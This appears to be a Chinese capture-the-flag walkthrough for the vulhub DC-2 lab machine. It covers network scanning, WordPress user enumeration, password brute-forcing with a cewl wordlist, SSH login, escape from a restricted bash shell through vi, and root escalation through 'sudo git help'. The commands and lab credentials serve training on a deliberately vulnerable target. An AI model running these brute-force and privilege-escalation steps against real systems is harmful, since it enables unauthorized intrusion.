[vulhub靶机通关]DC-2(rbash绕过_git提权)

实验步骤

1.信息收集

主机探测

plain 复制代码
nmap -sP 192.168.89.0/24

端口扫描

80和ssh是开着的

但发现打不开网站 会重定向到dc-2 我们修改本地的hosts

找到了flag1

提示我们要用cewl 发现网页使用的是wordpress cms

我们用wpscan 扫描网页

plain 复制代码
wpscan -url http://dc-2 -e u

找到了用户名

在用cewl去扫描网站找到密码

plain 复制代码
cewl http://dc-2 -w password.txt
plain 复制代码
wpscan --url http://dc-2 -U user.txt -P password.txt

找到了jerry和tom的密码

plain 复制代码
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient

我们把网站进行目录扫描

plain 复制代码
dirb http://dc-2

找到了登陆页面

我们用tom的身份登陆进去 发现什么都没有 用jerry去登录

找到了flag2 提示我们exp不能用 我们试着ssh去连接

plain 复制代码
ssh tom@192.168.89.146 -p 7744

2.rbash绕过 提权

plain 复制代码
RBASH 绕过
什么是 RBASH
RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。

RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:

不能使用 cd 命令来改变当前目录。

不能使用 set 命令来改变环境变量或 shell 选项。

不能使用 unset 命令来取消环境变量或 shell 函数。

不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。

不能重定向输入或输出,例如使用 >, <, >>, << 等符号。

只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。

RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。

需要绕过rbash

可以使用的命令是vi

plain 复制代码
vi:set shell=/bin/sh
运行shell:shell

执行后会绕过rbash
我们在添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
plain 复制代码
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

提示我们需要su 到jerry用户里

plain 复制代码
BASH_[x]=/bin/bash
x
这样也可以绕过
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/

在jerry家目录下找到了flag4

提权到root 使用git提权

plain 复制代码
sudo git help config
	!/bin/bash或者!'sh'完成提权
 
sudo git  -p help
	!/bin/bash

在root目录下找到了最终flag

相关推荐
阿里云大数据AI技术34 分钟前
用 SQL 调大模型?Hologres + 百炼,让数据开发直接“对话”AI
sql·llm
一次旅行5 天前
网络安全总结
安全·web安全
DianSan_ERP5 天前
电商API接口全链路监控:构建坚不可摧的线上运维防线
大数据·运维·网络·人工智能·git·servlet
呉師傅5 天前
火狐浏览器报错配置文件缺失如何解决#操作技巧#
运维·网络·windows·电脑
tryCbest5 天前
数据库SQL学习
数据库·sql
2501_946205525 天前
晶圆机器人双臂怎么选型?适配2-12寸晶圆的末端效应器有哪些?
服务器·网络·机器人
linux kernel5 天前
第七部分:高级IO
服务器·网络
数字护盾(和中)5 天前
BAS+ATT&CK:企业主动防御的黄金组合
服务器·网络·数据库
~远在太平洋~5 天前
Debian系统如何删除多余的kernel
linux·网络·debian
cowboy2585 天前
mysql5.7及以下版本查询所有后代值(包括本身)
数据库·sql